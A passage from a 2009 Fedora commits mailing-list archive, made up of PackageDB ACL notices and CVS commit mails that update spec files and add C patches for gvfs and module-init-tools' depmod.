timn has set the commit acl on lua-filesystem (Fedora 11) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 23:09:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 23:09:41 +0000
Subject: [pkgdb] lua-filesystem had acl change status
Message-ID: <20091001230941.5B27D10F8AD@bastion2.fedora.phx.redhat.com>

timn has set the approveacls acl on lua-filesystem (Fedora 11) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 23:09:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 23:09:44 +0000
Subject: [pkgdb] lua-filesystem had acl change status
Message-ID: <20091001230944.8BA9510F86A@bastion2.fedora.phx.redhat.com>

timn has set the watchbugzilla acl on lua-filesystem (Fedora 12) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 23:09:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 23:09:44 +0000
Subject: [pkgdb] lua-filesystem had acl change status
Message-ID: <20091001230945.0784410F87E@bastion2.fedora.phx.redhat.com>

timn has set the watchcommits acl on lua-filesystem (Fedora 12) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 23:09:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 23:09:46 +0000
Subject: [pkgdb] lua-filesystem had acl change status
Message-ID: <20091001230946.A9B5110F8AB@bastion2.fedora.phx.redhat.com>

timn has set the commit acl on lua-filesystem (Fedora 12) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From pkgdb at fedoraproject.org  Thu Oct  1 23:09:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 01 Oct 2009 23:09:48 +0000
Subject: [pkgdb] lua-filesystem had acl change status
Message-ID: <20091001230948.6B62210F894@bastion2.fedora.phx.redhat.com>

timn has set the approveacls acl on lua-filesystem (Fedora 12) to Approved for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From thias at fedoraproject.org  Thu Oct  1 23:14:08 2009
From: thias at fedoraproject.org (Matthias Saou)
Date: Thu,  1 Oct 2009 23:14:08 +0000 (UTC)
Subject: rpms/linux_logo/devel .cvsignore, 1.12, 1.13 linux_logo.spec, 1.22, 
	1.23 sources, 1.12, 1.13
Message-ID: <20091001231408.1C1AD11C0261@cvs1.fedora.phx.redhat.com>

Author: thias

Update of /cvs/extras/rpms/linux_logo/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1357

Modified Files:
	.cvsignore linux_logo.spec sources 
Log Message:
Update to 5.06.



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	6 Feb 2009 09:39:55 -0000	1.12
+++ .cvsignore	1 Oct 2009 23:14:07 -0000	1.13
@@ -1 +1 @@
-linux_logo-5.04.tar.gz
+linux_logo-5.06.tar.gz


Index: linux_logo.spec
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/devel/linux_logo.spec,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- linux_logo.spec	25 Jul 2009 11:08:21 -0000	1.22
+++ linux_logo.spec	1 Oct 2009 23:14:07 -0000	1.23
@@ -1,7 +1,7 @@
 Summary: The linux logo - a colorful console penguin logo
 Name: linux_logo
-Version: 5.04
-Release: 3%{?dist}
+Version: 5.06
+Release: 1%{?dist}
 License: GPLv2
 Group: Applications/System
 URL: http://www.deater.net/weave/vmwprod/linux_logo/
@@ -46,6 +46,9 @@ done
 
 
 %changelog
+* Fri Oct 2 2009 Matthias Saou <http://freshrpms.net/> 5.06-1
+- Update to 5.06.
+
 * Sat Jul 25 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 5.04-3
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/linux_logo/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	6 Feb 2009 09:39:55 -0000	1.12
+++ sources	1 Oct 2009 23:14:07 -0000	1.13
@@ -1 +1 @@
-c7857d465b2157959cb1fcf1abebe396  linux_logo-5.04.tar.gz
+31014ac5a1660926ae16b88399f4233d  linux_logo-5.06.tar.gz



From mitr at fedoraproject.org  Thu Oct  1 23:15:15 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Thu,  1 Oct 2009 23:15:15 +0000 (UTC)
Subject: rpms/libuser/devel .cvsignore, 1.52, 1.53 libuser.spec, 1.85,
	1.86 sources, 1.54, 1.55
Message-ID: <20091001231515.C70A911C0261@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/libuser/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2238

Modified Files:
	.cvsignore libuser.spec sources 
Log Message:
* Fri Oct  2 2009 Miloslav Trma? <mitr at redhat.com> - 0.56.12-1
- Update to libuser-0.56.12.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libuser/devel/.cvsignore,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- .cvsignore	14 Sep 2009 16:59:04 -0000	1.52
+++ .cvsignore	1 Oct 2009 23:15:15 -0000	1.53
@@ -1 +1 @@
-libuser-0.56.11.tar.bz2
+libuser-0.56.12.tar.bz2


Index: libuser.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libuser/devel/libuser.spec,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -p -r1.85 -r1.86
--- libuser.spec	14 Sep 2009 16:59:04 -0000	1.85
+++ libuser.spec	1 Oct 2009 23:15:15 -0000	1.86
@@ -1,8 +1,8 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name: libuser
-Version: 0.56.11
-Release: 1
+Version: 0.56.12
+Release: 1%{?dist}
 Group: System Environment/Base
 License: LGPLv2+
 URL: https://fedorahosted.org/libuser/
@@ -100,6 +100,9 @@ python -c "import libuser"
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Fri Oct  2 2009 Miloslav Trma? <mitr at redhat.com> - 0.56.12-1
+- Update to libuser-0.56.12.
+
 * Mon Sep 14 2009 Miloslav Trma? <mitr at redhat.com> - 0.56.11-1
 - Update to libuser-0.56.11.
   Resolves: #454091


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libuser/devel/sources,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- sources	14 Sep 2009 16:59:04 -0000	1.54
+++ sources	1 Oct 2009 23:15:15 -0000	1.55
@@ -1 +1 @@
-fc58c832b7f0f0af88f56d1d6d5d7c22  libuser-0.56.11.tar.bz2
+a79e3a84aed576cc8fab27487843f749  libuser-0.56.12.tar.bz2



From mclasen at fedoraproject.org  Thu Oct  1 23:21:41 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Thu,  1 Oct 2009 23:21:41 +0000 (UTC)
Subject: rpms/gvfs/F-12 consider-logical-partitions.patch, NONE,
	1.1 gvfs.spec, 1.158, 1.159
Message-ID: <20091001232141.58DD211C0261@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gvfs/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3672

Modified Files:
	gvfs.spec 
Added Files:
	consider-logical-partitions.patch 
Log Message:
Consider logical partitions when deciding if to hide a drive


consider-logical-partitions.patch:
 ggduvolumemonitor.c |   42 ++++++++++++++++++++++++++++++++++++++++--
 1 file changed, 40 insertions(+), 2 deletions(-)

--- NEW FILE consider-logical-partitions.patch ---
>From dfa4b522b5c19c4723004baab3e54592f9875597 Mon Sep 17 00:00:00 2001
From: David Zeuthen <davidz at redhat.com>
Date: Thu, 1 Oct 2009 16:49:32 -0400
Subject: [PATCH] =?UTF-8?q?Bug=20597041=20=E2=80=93=20Manual=20umount=20triggers=20mount=20request?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

We also need to consider logical partitions when determining if a
drive should be ignored.
---
 monitor/gdu/ggduvolumemonitor.c |   41 ++++++++++++++++++++++++++++++++++++++-
 1 files changed, 40 insertions(+), 1 deletions(-)

diff --git a/monitor/gdu/ggduvolumemonitor.c b/monitor/gdu/ggduvolumemonitor.c
index ac90ba4..83d8fc2 100644
--- a/monitor/gdu/ggduvolumemonitor.c
+++ b/monitor/gdu/ggduvolumemonitor.c
@@ -871,7 +871,7 @@ should_drive_be_ignored (GduPool *pool, GduDrive *d, GList *fstab_mount_points)
 
   /* never ignore a drive if it has volumes that we don't want to ignore */
   enclosed = gdu_pool_get_enclosed_presentables (pool, GDU_PRESENTABLE (d));
-  for (l = enclosed; l != NULL; l = l->next)
+  for (l = enclosed; l != NULL && all_volumes_are_ignored; l = l->next)
     {
       GduPresentable *enclosed_presentable = GDU_PRESENTABLE (l->data);
 
@@ -879,6 +879,7 @@ should_drive_be_ignored (GduPool *pool, GduDrive *d, GList *fstab_mount_points)
       if (GDU_IS_VOLUME (enclosed_presentable))
         {
           GduVolume *volume = GDU_VOLUME (enclosed_presentable);
+          GduDevice *volume_device;
 
           have_volumes = TRUE;
 
@@ -887,6 +888,44 @@ should_drive_be_ignored (GduPool *pool, GduDrive *d, GList *fstab_mount_points)
               all_volumes_are_ignored = FALSE;
               break;
             }
+
+          /* The volume may be an extended partition - we need to check all logical
+           * partitions as well (#597041)
+           */
+          volume_device = gdu_presentable_get_device (GDU_PRESENTABLE (volume));
+          if (volume_device != NULL)
+            {
+              if (g_strcmp0 (gdu_device_partition_get_scheme (volume_device), "mbr") == 0)
+                {
+                  gint type;
+
+                  type = strtol (gdu_device_partition_get_type (volume_device), NULL, 0);
+                  if (type == 0x05 || type == 0x0f || type == 0x85)
+                    {
+                      GList *enclosed_logical;
+                      GList *ll;
+
+                      enclosed_logical = gdu_pool_get_enclosed_presentables (pool, GDU_PRESENTABLE (volume));
+                      for (ll = enclosed_logical; ll != NULL && all_volumes_are_ignored; ll = ll->next)
+                        {
+                          GduPresentable *enclosed_logical_presentable = GDU_PRESENTABLE (ll->data);
+
+                          if (GDU_IS_VOLUME (enclosed_logical_presentable))
+                            {
+                              if (!should_volume_be_ignored (pool,
+                                                             GDU_VOLUME (enclosed_logical_presentable),
+                                                             fstab_mount_points))
+                                {
+                                  all_volumes_are_ignored = FALSE;
+                                }
+                            }
+                        }
+                      g_list_foreach (enclosed_logical, (GFunc) g_object_unref, NULL);
+                      g_list_free (enclosed_logical);
+                    }
+                }
+              g_object_unref (volume_device);
+            }
         }
     }
 
-- 
1.6.4.4




Index: gvfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gvfs/F-12/gvfs.spec,v
retrieving revision 1.158
retrieving revision 1.159
diff -u -p -r1.158 -r1.159
--- gvfs.spec	29 Sep 2009 20:14:51 -0000	1.158
+++ gvfs.spec	1 Oct 2009 23:21:39 -0000	1.159
@@ -1,7 +1,7 @@
 Summary: Backends for the gio framework in GLib
 Name: gvfs
 Version: 1.4.0
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 URL: http://www.gtk.org
@@ -39,6 +39,8 @@ Patch0: gvfs-archive-integration.patch
 Patch1: 0001-Add-AFC-backend.patch
 # from upstream
 Patch2: http-icons.patch
+# from upstream
+Patch3: consider-logical-partitions.patch
 
 %description
 The gvfs package provides backend implementations for the gio
@@ -286,6 +288,9 @@ update-desktop-database &> /dev/null ||:
 %{_datadir}/gvfs/remote-volume-monitors/afc.monitor
 
 %changelog
+* Thu Oct  1 2009 Matthias Clasen <mclasen at redhat.com> - 1.4.0-3
+- Consider logical partitions when deciding if a drive should be ignored
+
 * Tue Sep 29 2009 Matthias Clasen <mclasen at redhat.com> - 1.4.0-2
 - Fix the lack of icons in the http backend
 



From mitr at fedoraproject.org  Thu Oct  1 23:24:08 2009
From: mitr at fedoraproject.org (Miloslav Trmac)
Date: Thu,  1 Oct 2009 23:24:08 +0000 (UTC)
Subject: rpms/libuser/F-12 .cvsignore, 1.52, 1.53 libuser.spec, 1.85,
	1.86 sources, 1.54, 1.55
Message-ID: <20091001232408.488A111C0261@cvs1.fedora.phx.redhat.com>

Author: mitr

Update of /cvs/pkgs/rpms/libuser/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4290

Modified Files:
	.cvsignore libuser.spec sources 
Log Message:
* Fri Oct  2 2009 Miloslav Trma? <mitr at redhat.com> - 0.56.12-1
- Update to libuser-0.56.12.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/libuser/F-12/.cvsignore,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- .cvsignore	14 Sep 2009 16:59:04 -0000	1.52
+++ .cvsignore	1 Oct 2009 23:24:06 -0000	1.53
@@ -1 +1 @@
-libuser-0.56.11.tar.bz2
+libuser-0.56.12.tar.bz2


Index: libuser.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libuser/F-12/libuser.spec,v
retrieving revision 1.85
retrieving revision 1.86
diff -u -p -r1.85 -r1.86
--- libuser.spec	14 Sep 2009 16:59:04 -0000	1.85
+++ libuser.spec	1 Oct 2009 23:24:07 -0000	1.86
@@ -1,8 +1,8 @@
 %{!?python_sitearch: %define python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}
 
 Name: libuser
-Version: 0.56.11
-Release: 1
+Version: 0.56.12
+Release: 1%{?dist}
 Group: System Environment/Base
 License: LGPLv2+
 URL: https://fedorahosted.org/libuser/
@@ -100,6 +100,9 @@ python -c "import libuser"
 %{_datadir}/gtk-doc/html/*
 
 %changelog
+* Fri Oct  2 2009 Miloslav Trma? <mitr at redhat.com> - 0.56.12-1
+- Update to libuser-0.56.12.
+
 * Mon Sep 14 2009 Miloslav Trma? <mitr at redhat.com> - 0.56.11-1
 - Update to libuser-0.56.11.
   Resolves: #454091


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/libuser/F-12/sources,v
retrieving revision 1.54
retrieving revision 1.55
diff -u -p -r1.54 -r1.55
--- sources	14 Sep 2009 16:59:04 -0000	1.54
+++ sources	1 Oct 2009 23:24:07 -0000	1.55
@@ -1 +1 @@
-fc58c832b7f0f0af88f56d1d6d5d7c22  libuser-0.56.11.tar.bz2
+a79e3a84aed576cc8fab27487843f749  libuser-0.56.12.tar.bz2



From jcm at fedoraproject.org  Thu Oct  1 23:39:51 2009
From: jcm at fedoraproject.org (Jon Masters)
Date: Thu,  1 Oct 2009 23:39:51 +0000 (UTC)
Subject: rpms/module-init-tools/devel
	module-init-tools-3.10-multi_moddirs.patch, NONE, 1.1 .cvsignore,
	1.22, 1.23 module-init-tools.spec, 1.90, 1.91 sources, 1.24, 1.25
Message-ID: <20091001233951.419EA11C0261@cvs1.fedora.phx.redhat.com>

Author: jcm

Update of /cvs/pkgs/rpms/module-init-tools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9069

Modified Files:
	.cvsignore module-init-tools.spec sources 
Added Files:
	module-init-tools-3.10-multi_moddirs.patch 
Log Message:
Update to latest upstream and add a "path" option patch for depmod.

NOTE: The latter patch is under development and may change, so don't rely
      on the new "path" option yet.


module-init-tools-3.10-multi_moddirs.patch:
 depmod.c             |  208 +++++++++++++++++++++++++++++++++++++++++++++------
 doc/depmod.conf.sgml |   20 ++++
 2 files changed, 204 insertions(+), 24 deletions(-)

--- NEW FILE module-init-tools-3.10-multi_moddirs.patch ---
diff -urNp module-init-tools-3.10_orig/depmod.c module-init-tools-3.10/depmod.c
--- module-init-tools-3.10_orig/depmod.c	2009-06-23 04:06:03.000000000 -0400
+++ module-init-tools-3.10/depmod.c	2009-10-01 19:34:18.000000000 -0400
@@ -36,6 +36,10 @@
 #define MODULE_DIR "/lib/modules/"
 #endif
 
+#ifndef CURRENT_KERNEL_KEY
+#define CURRENT_KERNEL_KEY "current-kernel"
+#endif
+
 #ifndef MODULE_BUILTIN_KEY
 #define MODULE_BUILTIN_KEY "built-in"
 #endif
@@ -49,6 +53,16 @@ struct module_overrides
 	char *modfile;
 };
 
+struct module_path
+{
+	/* Next path */
+	struct module_path *next;
+
+	/* module path */
+	char *path;
+	size_t len;
+};
+
 struct module_search
 {
 	/* Next search */
@@ -618,21 +632,28 @@ static struct module *grab_dir(const cha
 	return next;
 }
 
-static struct module *grab_basedir(const char *dirname,
+static struct module *grab_basedir(struct module_path *modpaths,
 				   struct module_search *search,
 				   struct module_overrides *overrides)
 {
 	DIR *dir;
 	struct module *list;
+	struct module_path *mod_path;
 
-	dir = opendir(dirname);
-	if (!dir) {
-		warn("Couldn't open directory %s: %s\n",
-		     dirname, strerror(errno));
-		return NULL;
+	for (mod_path = modpaths; mod_path != NULL;
+	     mod_path = mod_path->next) {
+	
+		dir = opendir(mod_path->path);
+		if (!dir) {
+			warn("Couldn't open directory %s: %s\n",
+		    	 mod_path->path, strerror(errno));
+			continue;
+		} else {
+			list = grab_dir(mod_path->path, dir, list, do_module,
+					search, overrides);
+			closedir(dir);
+		}
 	}
-	list = grab_dir(dirname, dir, NULL, do_module, search, overrides);
-	closedir(dir);
 
 	return list;
 }
@@ -984,6 +1005,22 @@ static char *strsep_skipspace(char **str
 	return strsep(string, delim);
 }
 
+static struct module_path *add_path(const char *path,
+				    size_t len,
+				    struct module_path *paths)
+{
+
+	struct module_path *new;
+	
+	new = NOFAIL(malloc(sizeof(*new)));
+	new->path = NOFAIL(strdup(path));
+	new->len = len;
+	new->next = paths;
+
+	return new;
+	
+}
+
 static struct module_search *add_search(const char *search_path,
 					size_t len,
 					struct module_search *search)
@@ -1000,6 +1037,42 @@ static struct module_search *add_search(
 	
 }
 
+static struct module_search *add_search_tail(const char *search_path,
+					     size_t len,
+					     struct module_search *search)
+{
+
+	struct module_search *new;
+	struct module_search *last;
+
+	new = NOFAIL(malloc(sizeof(*new)));
+	new->search_path = NOFAIL(strdup(search_path));
+	new->len = len;
+	new->next = NULL;
+
+	if (!search) {
+		search = new;
+	} else {
+		for (last = search; (last != NULL) && (last->next != NULL);
+	     	     last = last->next);
+		last->next = new;
+	}
+
+	return search;
+}
+
+struct module_search *free_search(struct module_search *search)
+{
+	if (search) {
+		free_search(search->next);
+		free(search->search_path);
+		free(search);
+		search = NULL;
+	}
+
+	return NULL;
+}
+
 static struct module_overrides *add_override(const char *modfile,
 					     struct module_overrides *overrides)
 {
@@ -1017,12 +1090,14 @@ static struct module_overrides *add_over
 static int parse_config_scan(const char *filename,
 			     const char *basedir,
 			     const char *kernelversion,
+			     struct module_path **modpaths,
 			     struct module_search **search,
 			     struct module_overrides **overrides);
 
 static int parse_config_file(const char *filename,
 			     const char *basedir,
 			     const char *kernelversion,
+			     struct module_path **modpaths,
 			     struct module_search **search,
 			     struct module_overrides **overrides)
 {
@@ -1049,7 +1124,30 @@ static int parse_config_file(const char 
 			continue;
 		}
 
-		if (streq(cmd, "search")) {
+		if (streq(cmd, "path")) {
+			char *mod_path, *sstr;
+
+			while ((mod_path = strsep_skipspace(&ptr, "\t "))) {
+
+				if ((sstr = strstr(mod_path,
+						 CURRENT_KERNEL_KEY))) {
+					char *new_path;
+
+					sstr[0] = '\0';
+					nofail_asprintf(&new_path, "%s%s%s",
+					     mod_path,
+					     kernelversion,
+					     &sstr[strlen(CURRENT_KERNEL_KEY)]);
+					*modpaths = add_path(new_path,
+							     strlen(new_path),
+							     *modpaths);
+				} else {
+					*modpaths = add_path(mod_path,
+							     strlen(mod_path),
+							     *modpaths);
+				}
+			}
+		} else if (streq(cmd, "search")) {
 			char *search_path;
 			
 			while ((search_path = strsep_skipspace(&ptr, "\t "))) {
@@ -1062,8 +1160,8 @@ static int parse_config_file(const char 
 							     0, *search);
 					continue;
 				}
-				nofail_asprintf(&dirname, "%s%s%s/%s", basedir,
-					MODULE_DIR, kernelversion, search_path);
+				nofail_asprintf(&dirname, "%s",
+						search_path);
 				len = strlen(dirname);
 				*search = add_search(dirname, len, *search);
 				free(dirname);
@@ -1096,9 +1194,12 @@ static int parse_config_file(const char 
 					warn("\"include /etc/depmod.d\" is "
 					     "the default, ignored\n");
 				} else {
-					if (!parse_config_scan(newfilename, basedir,
+					if (!parse_config_scan(newfilename,
+							       basedir,
 							       kernelversion,
-							       search, overrides))
+							       modpaths,
+							       search,
+							       overrides))
 					warn("Failed to open included"
 					     " config file %s: %s\n",
 					     newfilename, strerror(errno));
@@ -1130,6 +1231,7 @@ static int parse_config_file(const char 
 static int parse_config_scan(const char *filename,
 			     const char *basedir,
 			     const char *kernelversion,
+			     struct module_path **modpaths,
 			     struct module_search **search,
 			     struct module_overrides **overrides)
 {
@@ -1177,7 +1279,7 @@ static int parse_config_scan(const char 
 
 			nofail_asprintf(&cfgfile, "%s/%s", filename, fe->name);
 			if (!parse_config_file(cfgfile, basedir, kernelversion,
-					       search, overrides))
+					       modpaths, search, overrides))
 				warn("Failed to open config file "
 				     "%s: %s\n", fe->name, strerror(errno));
 			free(cfgfile);
@@ -1187,8 +1289,8 @@ static int parse_config_scan(const char 
 
 		ret = 1;
 	} else {
-		if (parse_config_file(filename, basedir, kernelversion, search,
-				      overrides))
+		if (parse_config_file(filename, basedir, kernelversion,
+				      modpaths, search, overrides))
 			ret = 1;
 	}
 
@@ -1198,12 +1300,13 @@ static int parse_config_scan(const char 
 static void parse_toplevel_config(const char *filename,
 				  const char *basedir,
 				  const char *kernelversion,
+				  struct module_path **modpaths,
 				  struct module_search **search,
 				  struct module_overrides **overrides)
 {
 	if (filename) {
-		if (!parse_config_scan(filename, basedir, kernelversion, search,
-				 overrides))
+		if (!parse_config_scan(filename, basedir, kernelversion,
+				       modpaths, search, overrides))
 			fatal("Failed to open config file %s: %s\n",
 			      filename, strerror(errno));
 		return;
@@ -1211,19 +1314,59 @@ static void parse_toplevel_config(const 
 
 	/* deprecated config file */
 	if (parse_config_file("/etc/depmod.conf", basedir, kernelversion,
-			      search, overrides) > 0)
+			      modpaths, search, overrides) > 0)
 		warn("Deprecated config file /etc/depmod.conf, "
 		      "all config files belong into /etc/depmod.d/.\n");
 
 	/* default config */
 	parse_config_scan("/etc/depmod.d", basedir, kernelversion,
-			  search, overrides);
+			  modpaths, search, overrides);
+}
+
+static struct module_search *expand_search_paths(struct module_search *search,
+					  struct module_path *modpaths)
+{
+	struct module_path *mod_path;
+	struct module_search *new_search, *tmp_search;
+	char *new_path;
+	ssize_t len;
+	int done_builtin = 0;
+
+	for (tmp_search = search; tmp_search != NULL;
+	     tmp_search = tmp_search->next) {
+		for (mod_path = modpaths; mod_path != NULL;
+		     mod_path = mod_path->next) {
+			
+			if (streq(tmp_search->search_path,
+				  MODULE_BUILTIN_KEY)) {
+				if (!done_builtin) {
+				done_builtin = 1;
+				new_search = add_search_tail(MODULE_BUILTIN_KEY,
+							     0, new_search);
+				}
+			} else {
+				nofail_asprintf(&new_path, "%s/%s",
+						mod_path->path,
+						tmp_search->search_path);
+				len = strlen(new_path);
+				new_search = add_search_tail(new_path, len,
+							     new_search);
+				free(new_path);
+			}
+		}
+	}
+
+	/* free old list */
+	search = free_search(search);
+
+	return new_search;
 }
 
 /* Local to main, but not freed on exit.  Keep valgrind quiet. */
 struct module *list = NULL;
 struct module_search *search = NULL;
 struct module_overrides *overrides = NULL;
+struct module_path *modpaths = NULL;
 
 int main(int argc, char *argv[])
 {
@@ -1329,7 +1472,22 @@ int main(int argc, char *argv[])
 		all = 1;
 	}
 
-	parse_toplevel_config(config, basedir, version, &search, &overrides);
+	parse_toplevel_config(config, basedir, version,
+			      &modpaths, &search, &overrides);
+
+	/* For backward compatibility add the current kernel to the head of
+         * the path list here. But only if no "path" option specified.
+         */
+	if (!modpaths) {
+		char *mod_path;
+		size_t len;
+
+		nofail_asprintf(&mod_path, "%s%s%s", basedir,
+				MODULE_DIR, version);
+		
+		len = strlen(mod_path);
+		modpaths = add_path(mod_path, len, modpaths);
+	}
 
 	/* For backward compatibility add "updates" to the head of the search
 	 * list here. But only if there was no "search" option specified.
@@ -1338,11 +1496,13 @@ int main(int argc, char *argv[])
 		char *dirname;
 		size_t len;
 
-		nofail_asprintf(&dirname, "%s%s%s/updates", basedir,
-				MODULE_DIR, version);
+		nofail_asprintf(&dirname, "updates");
 		len = strlen(dirname);
 		search = add_search(dirname, len, search);
 	}
+
+	search = expand_search_paths(search, modpaths);
+
 	if (!all) {
 		/* Do command line args. */
 		for (opt = optind; opt < argc; opt++) {
@@ -1361,7 +1521,7 @@ int main(int argc, char *argv[])
 			list = new;
 		}
 	} else {
-		list = grab_basedir(dirname,search,overrides);
+		list = grab_basedir(modpaths,search,overrides);
 	}
 	list = sort_modules(dirname,list);
 	list = parse_modules(list);
diff -urNp module-init-tools-3.10_orig/doc/depmod.conf.sgml module-init-tools-3.10/doc/depmod.conf.sgml
--- module-init-tools-3.10_orig/doc/depmod.conf.sgml	2009-06-23 03:36:25.000000000 -0400
+++ module-init-tools-3.10/doc/depmod.conf.sgml	2009-10-01 19:34:28.000000000 -0400
@@ -51,6 +51,26 @@
     <title>COMMANDS</title>
     <variablelist>
       <varlistentry>
+        <term>path <replaceable>subdirectory...</replaceable>
+        </term>
+        <listitem>
+          <para>
+            This allows you to specify additional directories (other than
+            the default of /lib/modules) that will be searched and indexed
+            for available modules by <command>depmod</command>. This option
+            can be used in combination with the <command>search</command>
+            option (which configures behavior within a given directory
+            specified using the <command>path</command> option).
+          </para>
+          <para>
+            By default, <command>depmod</command> will search the standard
+            system /lib/modules/kernelversion directory for modules, but
+            you can use this option to have it index additional directories
+            that may be on an entirely different filesystem.
+          </para>
+        </listitem>
+      </varlistentry>
+      <varlistentry>
         <term>search <replaceable>subdirectory...</replaceable>
         </term>
 	<listitem>


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/module-init-tools/devel/.cvsignore,v
retrieving revision 1.22
retrieving revision 1.23
diff -u -p -r1.22 -r1.23
--- .cvsignore	27 May 2009 18:54:34 -0000	1.22
+++ .cvsignore	1 Oct 2009 23:39:45 -0000	1.23
@@ -1,2 +1,2 @@
-module-init-tools-3.9.tar.bz2
-module-init-tools-3.9.tar.bz2.sign
+module-init-tools-3.10.tar.bz2
+module-init-tools-3.10.tar.bz2.sign


Index: module-init-tools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/module-init-tools/devel/module-init-tools.spec,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- module-init-tools.spec	16 Sep 2009 04:19:45 -0000	1.90
+++ module-init-tools.spec	1 Oct 2009 23:39:46 -0000	1.91
@@ -1,8 +1,8 @@
 Summary: Kernel module management utilities.
 Name: module-init-tools
-Version: 3.9
+Version: 3.10
 #define PreRelease
-Release: 3%{?dist}
+Release: 1%{?dist}
 License: GPLv2+
 Group: System Environment/Kernel
 #Source: http://www.kernel.org/pub/linux/utils/kernel/module-init-tools/module-init-tools-%{version}%{PreRelease}.tar.bz2
@@ -13,6 +13,7 @@ Source2: modprobe-dist.conf
 Source3: weak-modules
 Source4: depmod-dist.conf
 Source5: modprobe-dist-oss.conf
+Patch0: module-init-tools-3.10-multi_moddirs.patch
 Exclusiveos: Linux
 Prereq: /sbin/chkconfig sh-utils
 Obsoletes: modutils-devel modutils
@@ -30,6 +31,7 @@ are two examples of loaded and unloaded 
 %prep
 #setup -q -n module-init-tools-%{version}%{PreRelease}
 %setup -q -n module-init-tools-%{version}
+%patch0 -p1 -b .multi_moddirs
 
 %build
 export CC=gcc
@@ -85,6 +87,9 @@ fi
 %ghost %config(noreplace) %verify(not md5 size mtime) /etc/modprobe.d/local.conf
 
 %changelog
+* Thu Oct  1 2009 Jon Masters <jcm at jonmasters.org> - 3.10-1
+- Rebuild with latest upstream. Add a patch for "path" options.
+
 * Wed Sep 16 2009 Jon Masters <jcm at redhat.com> -3.9-3
 - Sync weak-modules with RHEL.
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/module-init-tools/devel/sources,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- sources	27 May 2009 18:54:34 -0000	1.24
+++ sources	1 Oct 2009 23:39:46 -0000	1.25
@@ -1,2 +1,2 @@
-738db2580f664795f05975846e53b298  module-init-tools-3.9.tar.bz2
-8485990039584dcfab7b870672e958b3  module-init-tools-3.9.tar.bz2.sign
+fcde0344ad07c4ae2ae6b40918fd092d  module-init-tools-3.10.tar.bz2
+973178e2969ac5354196bd5c2ff68ebe  module-init-tools-3.10.tar.bz2.sign



From mclasen at fedoraproject.org  Fri Oct  2 00:58:14 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Fri,  2 Oct 2009 00:58:14 +0000 (UTC)
Subject: rpms/file-roller/F-12 button-images.patch, NONE,
	1.1 file-roller.spec, 1.156, 1.157
Message-ID: <20091002005814.C2A2511C0261@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/file-roller/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4064

Modified Files:
	file-roller.spec 
Added Files:
	button-images.patch 
Log Message:
Respect button-images setting


button-images.patch:
 gtk-utils.c |   15 +++------------
